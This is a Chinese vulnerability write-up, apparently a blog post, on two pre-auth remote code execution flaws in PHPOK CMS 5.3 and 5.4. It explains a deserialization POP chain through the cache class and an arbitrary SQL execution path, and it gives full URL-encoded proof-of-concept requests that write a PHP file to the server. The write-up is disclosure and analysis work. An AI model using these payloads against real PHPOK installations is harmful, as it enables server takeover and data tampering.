对PHPOK的一次审计

 

前言

前些天看了一下PHPOK,发现了一个前台getshell,没想到第二天更新了V5.4把漏洞给修了。于是又审计了一下,发现一处新的getshell,在这里分享一下这两个漏洞。

 

V5.3的getshell

先简单的说一下PHPOK对控制器调用的规则

index.php admin.php api.php 分别对应 framework文件夹下的www admin api这三个文件夹

参数c的值再拼接上_control.php就是对应的文件 对应的类即{$c}_control

参数f的值再拼接上_f就是对应的方法

反序列化漏洞

存在问题的类和方法是call_control中的index_f,所以可以轻松找到对应的文件

framework/api/call_control.php::index_f

前台可以传json格式的数据,decode后将可控数据赋值给$tmpValue,进入phpok函数

framework/phpok_tpl_helper.php::phpok

这里的$GLOBALS['app']->call->phpok($id,$ext)就是phpok_call.php::phpok()

framework/phpok_call.php::phpok

函数有点长直接关注重点

$rs是完全可控的,所以可以控制最后的$func

但是有个限制

if(!in_array($func,$this->mlist)){
    return false;
}

$this->mlist = get_class_methods($this);具体看一下

其实基本上就是这个类里所有_开头的函数都可以调,简单看了看_format_ext_all函数可以利用

framework/phpok_call.php::_format_ext_all

如果可以控制$value['content']就可以反序列化直接rce,$value来自$rslist$rslist来自$call_rs$call_rs来自我们传入的data

寻找POP chain

说是chain其实只用到了一个文件

framework/engine/cache.php::__destruct

framework/engine/cache.php::save

这里的exit直接用伪协议绕就好了没啥好说的

POC

http://127.0.0.1:8000/5.3.147/api.php?c=call&f=index&data=%7B%22m_picplayer%22%3A%7B%22site%22%3A1%2C%22type_id%22%3A%22format_ext_all%22%2C%220%22%3A%7B%22form_type%22%3A%22url%22%2C%22content%22%3A%22O%3A5%3A%5C%22cache%5C%22%3A4%3A%7Bs%3A9%3A%5C%22%5Cu0000%2A%5Cu0000folder%5C%22%3Bs%3A41%3A%5C%22php%3A%5C%2F%5C%2Ffilter%5C%2Fwrite%3Dstring.rot13%5C%2Fresource%3D%5C%22%3Bs%3A11%3A%5C%22%5Cu0000%2A%5Cu0000key_list%5C%22%3Bs%3A19%3A%5C%22%3C%3Fcuc+cucvasb%28%29%3B+%3F%3E%5C%22%3Bs%3A9%3A%5C%22%5Cu0000%2A%5Cu0000key_id%5C%22%3Bs%3A5%3A%5C%22shell%5C%22%3Bs%3A9%3A%5C%22%5Cu0000%2A%5Cu0000status%5C%22%3Bb%3A1%3B%7D%22%7D%7D%7D

 

V5.4getshell

对V5.3漏洞的修补

新版本这里多了一个format函数来处理传入的data,format有点长我这里直接说重点

framework/init.php::format

经过调试index_f里的format最终会这样处理数据

可以看到双引号被替换掉了,这样就不能直接传入序列化后的数据了,因为序列化的数据中有很多双引号

任意SQL语句执行

虽然不能反序列化了,但是最关键的问题还是没有解决

这个万恶的动态调用并没有做任何改动,这次的目标放在了_sql

framework/phpok_call.php::_sql

这里相当于去了转义 233333

framework/engine/db/mysqli.php::get_all

可以看到$rs['sqlinfo']直接传入了query

framework/engine/db/mysqli.php::query

想执行什么sql语句执行什么sql语句

其实到这里,直接加个后台管理员账号就可以随便玩了,不过贯彻一下前台getshell就不去碰后台了

反序列化

前面的逻辑一样,只不过是反序列化触发点在_fields

framework/phpok_call.php::_fields

framework/model/project.php::project_one

framework/model/module.php::fields_all

只要利用上面的任意语句执行往$this->db->prefix."fields这个表里插反序列化数据就好了,这里的$this->db->prefix可能不是默认值,不过都有上面的任意SQL语句执行了,随便跑下表名就知道了

POC

http://127.0.0.1:8000/5.4/api.php?c=call&f=index&data=%7B%22m_picplayer%22%3A%7B%22site%22%3A1%2C%22type_id%22%3A%22sql%22%2C%22sqlinfo%22%3A%22INSERT+INTO+%60phpok5%60.%60qinggan_fields%60%28%60id%60%2C+%60ftype%60%2C+%60title%60%2C+%60identifier%60%2C+%60field_type%60%2C+%60note%60%2C+%60form_type%60%2C+%60form_style%60%2C+%60format%60%2C+%60content%60%2C+%60ext%60%2C+%60search_separator%60%2C+%60form_class%60%29+VALUES+%281%2C+%2722%27%2C+%27test%27%2C+%27test%27%2C+%27varchar%27%2C+%27test%27%2C+%27text%27%2C+%27test%27%2C+%27safe%27%2C+%27test%27%2C+0x4f3a353a226361636865223a343a7b733a393a22002a00666f6c646572223b733a34313a227068703a2f2f66696c7465722f77726974653d737472696e672e726f7431332f7265736f757263653d223b733a31313a22002a006b65795f6c697374223b733a31393a223c3f637563206375637661736228293b203f3e223b733a393a22002a006b65795f6964223b733a353a227368656c6c223b733a393a22002a00737461747573223b623a313b7d%2C+%27test%27%2C+%27test%27%29%22%7D%7D

http://127.0.0.1:8000/5.4/api.php?c=call&f=index&data=%7B%22m_picplayer%22%3A%7B%22site%22%3A1%2C%22type_id%22%3A%22fields%22%2C%22pid%22%3A41%7D%7D
(完)